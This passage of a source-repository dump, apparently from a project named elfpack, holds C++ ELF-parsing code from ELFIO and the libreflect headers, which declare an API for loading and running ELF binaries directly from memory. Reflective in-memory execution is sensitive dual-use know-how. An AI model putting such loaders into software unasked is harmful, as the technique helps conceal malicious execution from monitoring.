char*)&value, sizeof( Elf_Half ) ); 79 | ++entries_num; 80 | 81 | return true; 82 | } 83 | 84 | //------------------------------------------------------------------------------ 85 | private: 86 | S* versym_section; 87 | Elf_Word entries_num; 88 | }; 89 | 90 | using versym_section_accessor = versym_section_accessor_template
; 91 | using const_versym_section_accessor = 92 | versym_section_accessor_template; 93 | 94 | //------------------------------------------------------------------------------ 95 | template class versym_r_section_accessor_template 96 | { 97 | public: 98 | //------------------------------------------------------------------------------ 99 | versym_r_section_accessor_template( const elfio& elf_file, 100 | S* versym_r_section ) 101 | : elf_file( elf_file ), versym_r_section( versym_r_section ), 102 | entries_num( 0 ) 103 | { 104 | // Find .dynamic section 105 | const section* dynamic_section = elf_file.sections[".dynamic"]; 106 | 107 | if ( dynamic_section == nullptr ) { 108 | return; 109 | } 110 | 111 | const_dynamic_section_accessor dynamic_section_acc( elf_file, 112 | dynamic_section ); 113 | Elf_Xword dyn_sec_num = dynamic_section_acc.get_entries_num(); 114 | for ( Elf_Xword i = 0; i < dyn_sec_num; ++i ) { 115 | Elf_Xword tag; 116 | Elf_Xword value; 117 | std::string str; 118 | 119 | if ( dynamic_section_acc.get_entry( i, tag, value, str ) && 120 | tag == DT_VERNEEDNUM ) { 121 | entries_num = value; 122 | break; 123 | } 124 | } 125 | } 126 | 127 | //------------------------------------------------------------------------------ 128 | Elf_Word get_entries_num() const { return entries_num; } 129 | 130 | //------------------------------------------------------------------------------ 131 | bool get_entry( Elf_Word no, 132 | Elf_Half& version, 133 | std::string& file_name, 134 | Elf_Word& hash, 135 | Elf_Half& flags, 136 | Elf_Half& other, 137 | std::string& dep_name ) const 138 | { 139 | if ( versym_r_section == nullptr || ( no >= get_entries_num() ) ) { 140 | return false; 141 | } 142 | 143 | const_string_section_accessor string_section_acc( 144 | elf_file.sections[versym_r_section->get_link()] ); 145 | 146 | Elfxx_Verneed* verneed = (Elfxx_Verneed*)versym_r_section->get_data(); 147 | Elfxx_Vernaux* veraux = 148 | (Elfxx_Vernaux*)( (char*)verneed + verneed->vn_aux ); 149 | for ( Elf_Word i = 0; i < no; ++i ) { 150 | verneed = (Elfxx_Verneed*)( (char*)verneed + verneed->vn_next ); 151 | veraux = (Elfxx_Vernaux*)( (char*)verneed + verneed->vn_aux ); 152 | } 153 | 154 | version = verneed->vn_version; 155 | file_name = string_section_acc.get_string( verneed->vn_file ); 156 | hash = veraux->vna_hash; 157 | flags = veraux->vna_flags; 158 | other = veraux->vna_other; 159 | dep_name = string_section_acc.get_string( veraux->vna_name ); 160 | 161 | return true; 162 | } 163 | 164 | //------------------------------------------------------------------------------ 165 | private: 166 | const elfio& elf_file; 167 | S* versym_r_section; 168 | Elf_Word entries_num; 169 | }; 170 | 171 | using versym_r_section_accessor = versym_r_section_accessor_template
; 172 | using const_versym_r_section_accessor = 173 | versym_r_section_accessor_template; 174 | 175 | } // namespace ELFIO 176 | 177 | #endif // ELFIO_VERSYM_HPP 178 | -------------------------------------------------------------------------------- /vendor/include/libreflect/reflect.h: -------------------------------------------------------------------------------- 1 | #ifndef REFLECT_H 2 | #define REFLECT_H 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | /* 9 | * Config 10 | */ 11 | #ifndef REFLECT_HAVE_ASM 12 | /* Determined at configure time. If assembly was not detected, you can add 13 | * support by porting the JUMP_WITH_STACK macro to arch/linux/x86_64/arch_jump.h */ 14 | #define REFLECT_HAVE_ASM 1 15 | #endif 16 | 17 | /* 18 | * High-level interface 19 | */ 20 | 21 | #if !REFLECT_HAVE_ASM 22 | /* Alias the backup implementation if we don't have the assembly to set the stack */ 23 | #define reflect_execv reflect_mfd_execv 24 | #define reflect_execve reflect_mfd_execve 25 | #else 26 | /* No equivalent for using a custom stack without using custom assembly */ 27 | void reflect_execves(const unsigned char *elf, char **argv, char **env, size_t *stack); 28 | #endif 29 | 30 | void reflect_execv(const unsigned char *elf, char **argv); 31 | void reflect_execve(const unsigned char *elf, char **argv, char **env); 32 | 33 | /* 34 | * Force using memfd_create/execveat fallback 35 | */ 36 | void reflect_mfd_execv(const unsigned char *elf, char **argv); 37 | void reflect_mfd_execve(const unsigned char *elf, char **argv, char **env); 38 | 39 | 40 | /* 41 | * ELF mapping interface 42 | */ 43 | struct mapped_elf { 44 | ElfW(Ehdr) *ehdr; 45 | ElfW(Addr) entry_point; 46 | char *interp; 47 | }; 48 | 49 | void map_elf(const unsigned char *data, struct mapped_elf *obj); 50 | 51 | bool is_compatible_elf(const ElfW(Ehdr) *ehdr); 52 | 53 | /* 54 | * Stack creation and setup interface 55 | */ 56 | void synthetic_auxv(size_t *auxv); 57 | void modify_auxv(size_t *auxv, ElfW(Ehdr) *exe, ElfW(Ehdr) *interp); 58 | void stack_setup(size_t *stack_base, int argc, char **argv, char **env, size_t *auxv, 59 | ElfW(Ehdr) *exe, ElfW(Ehdr) *interp); 60 | 61 | /* 62 | * Custom flow control 63 | */ 64 | 65 | void jump_with_stack(size_t dest, size_t *stack); 66 | 67 | #endif 68 | -------------------------------------------------------------------------------- /vendor/include/libreflect/reflect_common.h: -------------------------------------------------------------------------------- 1 | #ifndef REFLECT_COMMON_H 2 | #define REFLECT_COMMON_H 3 | 4 | #include 5 | 6 | #ifndef PAGE_SIZE 7 | #define PAGE_SIZE 0x1000 8 | #endif 9 | 10 | #if DEBUG 11 | #include 12 | #include 13 | #include 14 | #define dprint(...) (printf(__VA_ARGS__)) 15 | #else 16 | #define dprint(...) 17 | #endif 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /vendor/lib/reflect/libreflect.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dsnezhkov/elfpack/dce518bd268a7f2664fe850748cc3891289e095d/vendor/lib/reflect/libreflect.a --------------------------------------------------------------------------------